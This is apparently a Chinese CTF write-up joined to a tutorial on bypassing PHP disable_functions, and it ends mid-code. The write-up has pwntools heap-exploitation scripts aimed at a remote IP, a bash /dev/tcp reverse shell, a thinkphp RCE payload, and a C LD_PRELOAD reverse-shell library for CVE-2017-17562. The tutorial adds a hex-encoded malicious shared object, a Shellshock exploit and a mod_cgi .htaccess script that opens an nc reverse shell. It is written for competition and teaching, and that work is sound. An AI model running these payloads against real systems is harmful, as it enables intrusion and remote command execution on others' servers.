r.sendlineafter('-----------------','1')
r.sendlineafter('nput the Size:',str(size))
r.sendafter('he Note:',content)
def free(idx):
r.sendlineafter('-----------------','2')
r.sendlineafter('the Index of Note:',str(idx))
def edit(idx,content):
r.sendlineafter('-----------------','3')
r.sendlineafter('Note',str(idx))
r.sendafter('Input the Note:',content)
fake=0x06CBC40
free_hook=0x6CD5E8
malloc_hook=0x6CB788
sc=asm(shellcraft.sh())
sc='''
xor rdi,rdi
push 0x6cbc40
pop rsi
push 0x100
pop rbx
push 0
pop rax
syscall
push 0x6cbc40
ret
'''
sc=asm(sc)
print shellcraft.sh()
print hex(len(sc))
add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0
add(0xf8,'aaaan')#1
add(0x38,'bbbbn')#2
add(0x50,'ccccn')#3
edit(0,'a'*0xf8)
edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01')
free(1)
add(0xf8,'aaaan')#1
add(0x38,p64(malloc_hook-0xe-8)+'n')#4
free(2)
edit(4,p64(malloc_hook-0xe-8)+'n')
add(0x38,p64(malloc_hook-0xe-8)+'n')#2
add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n')
r.sendline('1')
r.recvuntil('Input the Size:n')
r.sendline('123')
r.sendline(asm(shellcraft.sh()))
r.interactive()
### NameSystem
free那边的挨个向前有问题，18=19但19!=0
洞存在free时候，如果free18，这时候18=19，或者说，只要19存在，每次free，19不置零但是18=19.所以从而double
free，没有leak函数，所以考虑把free_got改掉成printf_plt来整，最后leak完后改system来getshell
from pwn import *
#r = process("./NameSystem")
r=remote('183.129.189.62',21405)
libc=ELF('./libc-2.23.so')
def add(size, content):
r.sendline("1")
r.sendlineafter("Name Size:", str(size))
r.sendlineafter("Name:", content)
r.recvuntil("Your choice :n")
def free(index):
r.sendline("3")
r.sendlineafter("The id you want to delete:", str(index))
def gd():
gdb.attach(r)
pause()
elf=ELF("./NameSystem")
while(1):
r.recvuntil("Your choice :n")
for i in range(17):
add(0x40, "/bin/sh")
add(0x50,'/bin/sh')
add(0x50, "/bin/sh")
add(0x50, "/bin/sh")
free(18)
free(18)
free(17)
free(19)#1
free(0)#2
free(0)#3
add(0x60,'/bin/sh')#17
add(0x60,'/bin/sh')#18
add(0x60,'/bin/sh')
free(18)
free(18)
free(17)
free(19)
for i in range(14):
free(0)
add(0x50, p64(elf.got['free']-0x1e))
add(0x50, p64(0))
add(0x50, "/bin/shx00")
add(0x50, 'x00'*6+p64(0x71)+p32(elf.plt['printf']) + "x00" * 3)
print hex(elf.got['free'])
print hex(elf.got['printf'])
add(0x40,'%13$p')
free(9)
r.recvuntil('0x')
leak=int(r.recv(12),16)
print hex(leak)
libc_base=leak-240-libc.symbols['__libc_start_main']
print hex(libc_base)
add(0x60, p64(elf.got['free']-0x10))
add(0x60, p64(0))
add(0x60, "/bin/shx00")
add(0x60,p64(libc_base+0x45390)[:7])
r.interactive()
## misc
### something in image
file命令分析是linux镜像文件，R-studio打开发现Flag.txt拿到flag
### Ezmemory
拿到一个`mem.raw`，上`volatility`
先`volatility -f mem.raw imageinfo`获取镜像系统信息
`--profile=Win7SP1x64`指定操作系统
`volatility -f mem.raw --profile=Win7SP1x64 pslist`列出所有进程
发现有一个`cmd`进程
`volatility -f mem.raw --profile=Win7SP1x64 cmdscan`查看命令行上的操作
发现flag
### misc4
azpr爆破解压密码为123456
elf运行后有flag，但是提交错误。根据题目名字猜测是elf隐写，搜了半天搜到一个hydan隐写，参考链接：<https://www.cnblogs.com/pcat/p/6716502.html>
但是hydan解密需要密码。猜测和压缩包密码一样是123456，得到`8*&#b`，然后解密aes密文，得到`bNa3vN1ImCHYlN42kC1FYA47aMalbAXIpNaMsAXBVNKApMqMnBro8`，再解一层xxencode，然后再栅栏拿到最后的flag
## crypto
### give me your passport
代码审计后，发现是个简单的AES-CBC。
AES的key都已经给了。
只要发过去的东西，前16字节是IV，后面的解密出来是Admin即可获得flag。
任意选择一次服务器返回的IV，然后用KEY对’Admin’加密，连接成密文，发过去，就能拿到flag。
### RSA
e * d = 1 (mod (p-1)(q-1))
e dp = 1 (mod p-1)
那么可以写成 edp – 1 = k * (p-1)
其中`1 <= k <= e`
可以根据下面这个方法爆破k
from Crypto.Uitl.number import *
e = 65537
dp = ...
kp_1 = dp*e - 1
for k in range(1, e):
if kp_1 % k == 0:
tmp = kp_1 // k
if isPrime(tmp+1):
print(tmp)
得到输出`127353412948873836906687778206509910878775314988106052080998527001224905757226684812828764973002447453109594922446553339420598206561385151430457829996205647622747518251616965320363658027264186719678664334278218049211583365254398026548102259795044636599208243773041401637282792878778039534749858540041527364997`即为p，解密即可
p = ...
n = ...
c = ...
q = n // p
assert(n == p*q)
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
# flag{d90a4bb43f64275794522dffdb4bd78b}
### DES
DES，给了16组子密钥，解密分分钟。（用自己写的[DES实现](https://github.com/soreatu/Cryptography/blob/master/DES.py)）
In [25]: for i in range(0, len(c), 8):
...: print(DES.DES_dec(c[i:i+8], subkey))
...:
b'4313e6e9'
b'1be766c4'
b'8725e5bd'
mes = b’4313e6e91be766c48725e5bd’
`flag = mes+deskey`
关键是恢复出原始的8字节（64位）密钥。
实际上，DES有效的密钥长度是56位，另外8位是为了保证每一个字节都是odd parity。
有`2**8=256`种可能的原始8字节密钥。
利用[工具](https://github.com/SideChannelMarvels/Stark)，可以恢复出其中的某一个：
$ ./des_keyschedule a096463b0798 3433313365366539 800379453d5758a2
Round1 key: A096463B0798 == 28 09 19 06 0E 30 1E 18
Plain: 3433313365366539
Cipher: 800379453d5758a2
Reversing key scheduling...
Key found at offset 46: 416f48656f664442
hex转成ascii得到`AoHeofDB`，连接起来，提交，错误。
那看来需要算出另外255种可能的初始密钥，然后手动提交爆破flag了。
In [84]: for i in range(2**8):
...: tmp = l.copy()
...: for index, j in enumerate(bin(i)[2:].zfill(8)):
...: if j == '1'
...: tmp[index] ^= 1
...: key = b''
...: for j in tmp:
...: key += bytes([j])
...: assert(pyDes.des(deskey).Kn == subkey)
...: print(mes+key)
...:
...:
b'4313e6e91be766c48725e5bdAnHeofDB'
b'4313e6e91be766c48725e5bdAnHeofDC'
b'4313e6e91be766c48725e5bdAnHeofEB'
b'4313e6e91be766c48725e5bdAnHeofEC'
b'4313e6e91be766c48725e5bdAnHeogDB'
b'4313e6e91be766c48725e5bdAnHeogDC'
b'4313e6e91be766c48725e5bdAnHeogEB'
b'4313e6e91be766c48725e5bdAnHeogEC'
b'4313e6e91be766c48725e5bdAnHenfDB'
b'4313e6e91be766c48725e5bdAnHenfDC'
b'4313e6e91be766c48725e5bdAnHenfEB'
b'4313e6e91be766c48725e5bdAnHenfEC'
b'4313e6e91be766c48725e5bdAnHengDB'
b'4313e6e91be766c48725e5bdAnHengDC'
b'4313e6e91be766c48725e5bdAnHengEB'
b'4313e6e91be766c48725e5bdAnHengEC'
b'4313e6e91be766c48725e5bdAnHdofDB'
b'4313e6e91be766c48725e5bdAnHdofDC'
b'4313e6e91be766c48725e5bdAnHdofEB'
b'4313e6e91be766c48725e5bdAnHdofEC'
...
好在试了前几个就试对了。
最后的flag应该是`4313e6e91be766c48725e5bdAnHengDB`
## web
### untar
题目改编了2017 hitcon 的ssrfme
UNTAR的作用其实和GET是一样的，而且filename参数是没有过滤的,所以我们只要多走一步就ok了，payload如下：
shell.txt 内容 bash -i >& /dev/tcp/vps/11111 0<&1 2>&1
url=http://vps/shell.txt&filename=a
url=http://vps&filename=bash a|
### thinkphp?
看到有人一下就秒了，猜测是tp5rce，然后还真是。
* thinkphp rce
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
## re
### re1
程序实现了一个迷宫输入必须为hex
dump出地图
8 1 e b 7 10 1
b f f 1 1 9 1
1 1 1 1 1 b 1
c c 8 e 1 8 1
8 1 1 c 9 e 1
d 8 b 1 1 1 1
1 1 9 a 9 9 63
1 up
2 down
3 left
4 right
2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4
输入后对输入替换出现flag
### re2
upx壳直接脱完后发现是: 输入转16进制-1后直接明文比较
dump出数据-1后就是答案 //转16进制函数中还初始化了些加上即可
4fc5f0e3e2e199a0a6ddd945aa2dfeda
### re3
加密和解密函数都调用了下
对输入加密后与局部变
`3ACF8D62AAA0B630C4AF43AF327CE129D46F0FEB98D9040F713BE65502A5107A`比较
直接在解密函数前把输入的加密替换成上面的就行
然后查看回显是`3561636230363233313732346338633336396261653731313136366462653835`
转字符串就是flag
5acb06231724c8c369bae711166dbe85
## 创新
### 大数据安全
cve复现
* CVE-2017-17562
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="ip";
uint32_t server_port=5431;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/sh", 0, 0);
}
* gcc -shared -fPIC ./exp.c -o exp.so
* curl -X POST —data-binary [@exp](https://github.com/exp "@exp").so “<http://183.129.189.62:11700/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0>“ | 社区文章 |
# bypass disable_function多种方法+实例
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：ch3ng@星盟
## 前言
在做CTF题目或者是在渗透的过程中常常会遇到已经拿到了webshell但是却无法执行命令，主要原因是由于常用的函数例如：system()等被禁用
## LD_PRELOAD
LD_PRELOAD是linux下的一个环境变量，可以影响程序运行时的链接过程，被指定路径的文件会在其它文件被调用点，最先调用
一个测试mail.php
<?php
mail('','','','');
?>
查看其运行时启动的子进程
strace -f php mail.php 2>&1 | grep execve
execve("/usr/bin/php", ["php", "mail.php"], 0x7ffdd5194ee0 /* 23 vars */) = 0
[pid 9707] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], 0x5597ba716e70 /* 23 vars */) = 0
[pid 9708] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x5586f66f9bd0 /* 23 vars */) = 0
查看sendmail使用了哪些函数
readelf -s /usr/sbin/sendmail
这里使用getuid，编写so文件test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("whoami > /tmp/Ch3ng");
}
int getuid()
{
if(getenv("LD_PRELOAD")==NULL){ return 0;}
unsetenv("LD_PRELOAD");
payload();
}
编译生成
gcc -c -fPIC test.c -o hack && gcc --share hack -o hack.so
接着php使用：
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
即可发现/tmp多了个Ch3ng文件
例题：
题目源码：
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
查看phpinfo()，发现disable_function有很多禁用函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
蚁剑连接上去，将bypass_disablefunc.php与bypass_disablefunc_x64.so上传上去，但是由于这里禁用了mail函数，所以这里使用error_log来触发
最后执行
bypass_disablefunc.php?cmd=/readflag&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so
即可获得flag
或者直接在利用php执行：
file_put_contents('/tmp/1.so',pack('H*','7f454c4602010100000000000000000003003e0001000000c006000000000000400000000000000028140000000000000000000040003800060040001c001900010000000500000000000000000000000000000000000000000000000000000004090000000000000409000000000000000020000000000001000000060000000809000000000000080920000000000008092000000000005802000000000000600200000000000000002000000000000200000006000000280900000000000028092000000000002809200000000000c001000000000000c0010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000008408000000000000840800000000000084080000000000001c000000000000001c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000040000001400000003000000474e550066bb9e247f3731670b5cdfd534ac53233e576aef00000000030000000d000000010000000600000088c22001001440090d0000000f000000110000004245d5ecbbe3927cd871581cb98df10eead3ef0e6d1287c2000000000000000000000000000000000000000000000000000000000000000003000900380600000000000000000000000000007d00000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000008b00000012000000000000000000000000000000000000009d00000021000000000000000000000000000000000000000100000020000000000000000000000000000000000000009e00000011000000000000000000000000000000000000006100000020000000000000000000000000000000000000009c0000001100000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000840000001200000000000000000000000000000000000000a600000010001600600b2000000000000000000000000000b900000010001700680b2000000000000000000000000000ad00000010001700600b20000000000000000000000000001000000012000900380600000000000000000000000000001600000012000c00600800000000000000000000000000007500000012000b00c0070000000000009d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007072656c6f616400676574656e76007374727374720073797374656d006c6962632e736f2e36005f5f656e7669726f6e005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200000002000200000002000000020000000200020001000100010001000100010001000100920000001000000000000000751a690900000200be00000000000000080920000000000008000000000000009007000000000000180920000000000008000000000000005007000000000000580b2000000000000800000000000000580b200000000000100920000000000001000000120000000000000000000000e80a20000000000006000000030000000000000000000000f00a20000000000006000000060000000000000000000000f80a20000000000006000000070000000000000000000000000b20000000000006000000080000000000000000000000080b200000000000060000000a0000000000000000000000100b200000000000060000000b0000000000000000000000300b20000000000007000000020000000000000000000000380b20000000000007000000040000000000000000000000400b20000000000007000000060000000000000000000000480b200000000000070000000b0000000000000000000000500b200000000000070000000c00000000000000000000004883ec08488b05ad0420004885c07405e8430000004883c408c30000000000000000000000000000ff35ba042000ff25bc0420000f1f4000ff25ba0420006800000000e9e0ffffffff25b20420006801000000e9d0ffffffff25aa0420006802000000e9c0ffffffff25a20420006803000000e9b0ffffffff259a0420006804000000e9a0ffffff488d3d99042000488d0599042000554829f84889e54883f80e7615488b05060420004885c074095dffe0660f1f4400005dc366666666662e0f1f840000000000488d3d59042000488d3552042000554829fe4889e548c1fe034889f048c1e83f4801c648d1fe7418488b05d90320004885c0740c5dffe0660f1f8400000000005dc366666666662e0f1f840000000000803d0904200000752748833daf03200000554889e5740c488b3dea032000e82dffffffe848ffffff5dc605e003200001f3c366666666662e0f1f840000000000488d3d8901200048833f00750be95effffff660f1f440000488b05510320004885c074e9554889e5ffd05de940ffffff554889e54883ec10488d3d9a000000e89cfeffff488945f0c745fc00000000eb4f488b0510032000488b008b55fc4863d248c1e2034801d0488b00488d35740000004889c7e8a6feffff4885c0741d488b05e2022000488b008b55fc4863d248c1e2034801d0488b00c600008345fc01488b05c1022000488b008b55fc4863d248c1e2034801d0488b004885c07592488b45f04889c7e825feffffc9c30000004883ec084883c408c34556494c5f434d444c494e45004c445f5052454c4f414400000000011b033b1800000002000000dcfdffff340000003cffffff5c0000001400000000000000017a5200017810011b0c070890010000240000001c000000a0fdffff60000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000d8feffff9d00000000410e108602430d0602980c0708000000000000000000009007000000000000000000000000000050070000000000000000000000000000010000000000000092000000000000000c0000000000000038060000000000000d000000000000006008000000000000190000000000000008092000000000001b0000000000000010000000000000001a0000000000000018092000000000001c000000000000000800000000000000f5feff6f00000000b8010000000000000500000000000000c0030000000000000600000000000000f8010000000000000a00000000000000ca000000000000000b0000000000000018000000000000000300000000000000180b20000000000002000000000000007800000000000000140000000000000007000000000000001700000000000000c0050000000000000700000000000000d0040000000000000800000000000000f00000000000000009000000000000001800000000000000feffff6f00000000b004000000000000ffffff6f000000000100000000000000f0ffff6f000000008a04000000000000f9ffff6f0000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280920000000000000000000000000000000000000000000760600000000000086060000000000009606000000000000a606000000000000b606000000000000580b2000000000004743433a202844656269616e20342e392e322d31302b6465623875322920342e392e3200002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e740000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200b80100000000000000000000000000000000000003000300f80100000000000000000000000000000000000003000400c003000000000000000000000000000000000000030005008a0400000000000000000000000000000000000003000600b00400000000000000000000000000000000000003000700d00400000000000000000000000000000000000003000800c00500000000000000000000000000000000000003000900380600000000000000000000000000000000000003000a00600600000000000000000000000000000000000003000b00c00600000000000000000000000000000000000003000c00600800000000000000000000000000000000000003000d00690800000000000000000000000000000000000003000e00840800000000000000000000000000000000000003000f00a00800000000000000000000000000000000000003001000080920000000000000000000000000000000000003001100180920000000000000000000000000000000000003001200200920000000000000000000000000000000000003001300280920000000000000000000000000000000000003001400e80a20000000000000000000000000000000000003001500180b20000000000000000000000000000000000003001600580b20000000000000000000000000000000000003001700600b2000000000000000000000000000000000000300180000000000000000000000000000000000010000000400f1ff000000000000000000000000000000000c00000001001200200920000000000000000000000000001900000002000b00c00600000000000000000000000000002e00000002000b00000700000000000000000000000000004100000002000b00500700000000000000000000000000005700000001001700600b20000000000001000000000000006600000001001100180920000000000000000000000000008d00000002000b0090070000000000000000000000000000990000000100100008092000000000000000000000000000b80000000400f1ff00000000000000000000000000000000010000000400f1ff00000000000000000000000000000000cd00000001000f0000090000000000000000000000000000db0000000100120020092000000000000000000000000000000000000400f1ff00000000000000000000000000000000e700000001001600580b2000000000000000000000000000f40000000100130028092000000000000000000000000000fd00000001001600600b20000000000000000000000000000901000001001500180b20000000000000000000000000001f01000012000000000000000000000000000000000000003301000020000000000000000000000000000000000000004f01000010001600600b20000000000000000000000000005601000012000c00600800000000000000000000000000005c01000012000000000000000000000000000000000000007001000020000000000000000000000000000000000000007f01000011000000000000000000000000000000000000009401000010001700680b20000000000000000000000000009901000010001700600b2000000000000000000000000000a501000012000b00c0070000000000009d00000000000000ad0100002000000000000000000000000000000000000000c10100001100000000000000000000000000000000000000d80100002000000000000000000000000000000000000000f201000022000000000000000000000000000000000000000e02000012000900380600000000000000000000000000001402000012000000000000000000000000000000000000000063727473747566662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f636c6f6e65730072656769737465725f746d5f636c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e36363730005f5f646f5f676c6f62616c5f64746f72735f6175785f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f6672616d655f64756d6d795f696e69745f61727261795f656e747279006279706173735f64697361626c6566756e632e63005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f64736f5f68616e646c65005f44594e414d4943005f5f544d435f454e445f5f005f474c4f42414c5f4f46465345545f5441424c455f00676574656e764040474c4942435f322e322e35005f49544d5f64657265676973746572544d436c6f6e655461626c65005f6564617461005f66696e690073797374656d4040474c4942435f322e322e35005f5f676d6f6e5f73746172745f5f00656e7669726f6e4040474c4942435f322e322e35005f656e64005f5f6273735f7374617274007072656c6f6164005f4a765f5265676973746572436c6173736573005f5f656e7669726f6e4040474c4942435f322e322e35005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a654040474c4942435f322e322e35005f696e6974007374727374724040474c4942435f322e322e3500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000b801000000000000b8010000000000003c00000000000000030000000000000008000000000000000000000000000000380000000b0000000200000000000000f801000000000000f801000000000000c80100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000c003000000000000c003000000000000ca0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f02000000000000008a040000000000008a04000000000000260000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000b004000000000000b004000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000d004000000000000d004000000000000f0000000000000000300000000000000080000000000000018000000000000006e000000040000004200000000000000c005000000000000c0050000000000007800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000380600000000000038060000000000001a00000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000006006000000000000600600000000000060000000000000000000000000000000100000000000000010000000000000007e000000010000000600000000000000c006000000000000c0060000000000009d01000000000000000000000000000010000000000000000000000000000000840000000100000006000000000000006008000000000000600800000000000009000000000000000000000000000000040000000000000000000000000000008a00000001000000020000000000000069080000000000006908000000000000180000000000000000000000000000000100000000000000000000000000000092000000010000000200000000000000840800000000000084080000000000001c00000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000a008000000000000a0080000000000006400000000000000000000000000000008000000000000000000000000000000aa0000000e0000000300000000000000080920000000000008090000000000001000000000000000000000000000000008000000000000000000000000000000b60000000f0000000300000000000000180920000000000018090000000000000800000000000000000000000000000008000000000000000000000000000000c2000000010000000300000000000000200920000000000020090000000000000800000000000000000000000000000008000000000000000000000000000000c700000006000000030000000000000028092000000000002809000000000000c001000000000000040000000000000008000000000000001000000000000000d0000000010000000300000000000000e80a200000000000e80a0000000000003000000000000000000000000000000008000000000000000800000000000000d5000000010000000300000000000000180b200000000000180b0000000000004000000000000000000000000000000008000000000000000800000000000000de000000010000000300000000000000580b200000000000580b0000000000000800000000000000000000000000000008000000000000000000000000000000e4000000080000000300000000000000600b200000000000600b0000000000000800000000000000000000000000000001000000000000000000000000000000e90000000100000030000000000000000000000000000000600b0000000000002400000000000000000000000000000001000000000000000100000000000000110000000300000000000000000000000000000000000000840b000000000000f200000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000780c00000000000088050000000000001b0000002b0000000800000000000000180000000000000009000000030000000000000000000000000000000000000000120000000000002802000000000000000000000000000001000000000000000000000000000000'));putenv("EVIL_CMDLINE=/readflag > /tmp/flag.txt");putenv("LD_PRELOAD=/tmp/1.so");error_log("",1);readfile('/tmp/flag.txt');
或者利用python脚本上传执行：
import requests
url = "http://f7eb61fe-d260-451c-a9b2-37bd2cd37bcf.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbJ2EnXSk7"
data = {
"a":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/1.so');putenv('EVIL_CMDLINE=/readflag > /tmp/flag.txt');putenv('LD_PRELOAD=/tmp/1.so');error_log('',1);readfile('/tmp/flag.txt');"
}
file = {'file':open('1.so','rb')}
r = requests.post(url=url,files=file,data=data)
print r.content
## ShellShock
利用bash破壳漏洞（CVE-2014-6271），该漏洞存在于bash 1.14 – 4.3版本中
<https://www.cnblogs.com/qmfsun/p/7591757.html>
导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后，Bash执行并未退出，而是继续解析并执行shell命令
利用的PHP代码：
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
上传脚本运行得到flag
## Apache Mod CGI
禁用函数如下：
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
比之前多禁用了putenv
这次使用的方法是利用.htaccess，我们通过上传.htaccess来利用apache的mod_cgi来绕过php的限制，这个利用方法在De1CTF
checkin出现过
利用条件：
* 目录下有写权限
* apache 使用 apache_mod_php
* Web 目录给了 AllowOverride 权限
* 启用了mod_cgi
首先上传.htaccess
Options +ExecCGI
AddHandler cgi-script .test
之后上传shell.test
#!/bin/bash
echo&&cat /etc/passwd
然后访问shell.test
也可以直接上传，访问之后反弹shell
<?php
$cmd = "nc -c '/bin/bash' xxx.xx.xx.xx 4444"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>
## PHP-FPM
php-fpm是PHP内置的一种fast-cgi
> php-fpm即php-Fastcgi Process Manager.
> php-fpm是 FastCGI 的实现，并提供了进程管理的功能。
> 进程包含 master 进程和 worker 进程两种进程。
> master 进程只有一个，负责监听端口，接收来自 Web Server 的请求，而 worker 进程则一般有多个(具体数量根据实际需要配置)，
> 每个进程内部都嵌入了一个 PHP 解释器，是 PHP 代码真正执行的地方。
与php-fpm通信有两种模式，一种为TCP，一种为Unix Socket，这里以TCP为例，构造fastcgi协议与fpm通信，
开启PHP_ADMIN_VALUE来加载恶意的.so
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
